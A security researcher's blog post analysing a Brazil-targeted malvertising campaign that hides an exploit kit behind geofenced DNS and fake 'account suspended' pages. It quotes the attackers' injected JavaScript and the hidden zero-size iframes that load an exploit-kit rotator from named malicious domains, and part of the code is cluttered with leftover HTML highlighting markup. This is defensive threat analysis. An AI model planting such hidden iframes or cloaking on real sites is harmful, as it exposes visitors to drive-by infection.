Frank DENIS random thoughts.

When suspended accounts are actually targeted attacks [updated]

On the first week of March, cdn11[.]net and cdn777[.]net were observed, before other domains, serving an exploit kit.

The DNS databases I frequently use didn’t have any information about these specific domains and using a local Unbound instance offered no additional insight. The dnsws[.]net authoritative servers were apparently not answering any queries about these domain names.

Why were queries to these kept being observed over and over again?

Temporarily sinkholing these domains revealed that they were being loaded from a small set of compromised sites which people were redirected to via malvertising, primarily via Yahoo Ads.

Clients following this infection chain all had something in common: the user language. The user language, as specified by the Accept-Language header sent by web browsers, was Brazilian Portuguese (pt-BR).

My friends @vmmello and @alexcpsec further reported that these domain names were actually resolving in Brazil.

Trying to access the URL from the US and from France returned nothing but empty content. However, the same URL accessed from a client IP located in Brazil was serving something radically different.

In addition to some basic analytics code, this page included an iframe that ignited an exploit kit.

This campaign targeting Brazil was invisible to the rest of the world. A set of custom authoritative DNS servers was answering only some specific client IPs based on their geographical location. Also, the web server injecting the page with the malicious iframe was not answering clients outside of Brazil.

The first set of domains was taken down by the registrar. The bad guys shifted to a new set of domains immediately after, with winter-cdn[.]com being the first one I observed.

Browsing hxxp://www.winter-cdn.com, or the exact referrer displayed a page that simply read “This account has been suspended”.

At first, it sounded like good news. I had hoped that the hosting provider had already closed the bad actor’s account. Sinkholing this domain revealed that the following chain was being used to reach the site:

Yahoo malvertising (targeting Brazil) -> www[.]soloinvite[.]com -> www[.]winter-cdn[.]net

As it happens, browsing www[.]soloinvite[.]com also displayed a “This account has been suspended” banner.

So far, so good. Unfortunately, in mapping the location of the requesting clients, Brazil was still clearly targeted:

I tried to access these URLs using a popular VPN service that had a point of presence in Brazil. Unfortunately, all I got was the “this domain has been suspended” banner.

Case closed? Not quite yet. I decided to keep investigating.

Accessing the same URLs via the IP address of a residential ISP in Brazil returned noticeably different content:

At face value, this would have been a totally benign web site. That is, of course, if it didn’t contain the following code:

function sendTest()
{
    var parameters = "";
    document.getElementById("banner").innerHTML="";
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("banner").innerHTML=xmlhttp.responseText;
        }
    }

<span class="kd">var</span> <span class="nx">a</span><span class="o">=</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="o">*</span><span class="mi">11</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">b</span><span class="o">=</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="o">*</span><span class="mi">11</span><span class="p">);</span>

<span class="nx">parameters</span> <span class="o">=</span> <span class="s2">&quot;a=&quot;</span><span class="o">+</span> <span class="nx">b</span> <span class="o">+</span> <span class="s2">&quot;&amp;b=&quot;</span> <span class="o">+</span> <span class="nx">b</span> <span class="o">+</span> <span class="s2">&quot;&amp;c=&quot;</span> <span class="o">+</span> <span class="p">(</span><span class="nx">a</span><span class="o">+</span><span class="nx">b</span><span class="p">);</span>
<span class="nx">xmlhttp</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span><span class="s2">&quot;/ads/banner.php&quot;</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span>
<span class="nx">xmlhttp</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span><span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span>
<span class="nx">xmlhttp</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">parameters</span><span class="p">);</span>

}

setInterval(sendTest(),1000);

When loaded from a browser (instead of a web crawler) a fake banner is loaded. This looks like the following:

<iframe id="frmAdResell"
src="hxxp://www.winter-cdn.com/..." height=0 width=0
frameborder=0></iframe>

The content of this iframe was similar to what was previously observed. It contained some basic analytics as well as a rotator for the exploit kit code:

<iframe id="frmAdResell_24779" name="frmAdResell_24779"
src="hxxp://3kv0ax6xc233646vs5x-1ut.explodesoundse.ru"
frameborder="0" height=0 width=0 ></iframe>
<script type="text/javascript">
var sc_project=9455979;
var sc_invisible=1;
var sc_security="35c41416";
var scJsHost = (("https:" == document.location.protocol) ?
"https://secure." : "http://www.");
document.write("<sc"+"ript type='text/javascript' src='" +
scJsHost+
"statcounter.com/counter/counter.js'></"+"script>");
</script>

On April 2nd, they switched to new domain names.

soloinvite[.]com was replaced by www[.]cempre[.]info, and www[.]winter-cdn[.]com was replaced by www[.]speed-cdn[.]org.

www[.]speed-cdn[.]org exhibits the same behavior: a banner indicating a suspended account, except for client IP addresses located in Brazil.

Malware authors constantly up their game to evade automated detection. This infection chain, however, also features deception techniques in order to confuse security researchers during manual investigations:

  • Custom authoritative DNS servers, only returning answers to a specific set of clients.
  • Domain names referring to a Content Delivery Network, which researchers are usually reluctant to block.
  • Fake mention of an account having been suspended, which suggests to researchers that the case has been closed and that no further investigation is needed. Connecting from one of the targeted networks is the only way to see the actual content.
  • VPNs with a presence in the targeted country do not necessarily reveal the real content either.

Unfortunately, these techniques appear to be quite successful, with only 1 other security vendor out of 51 having flagged some of these domains as malicious.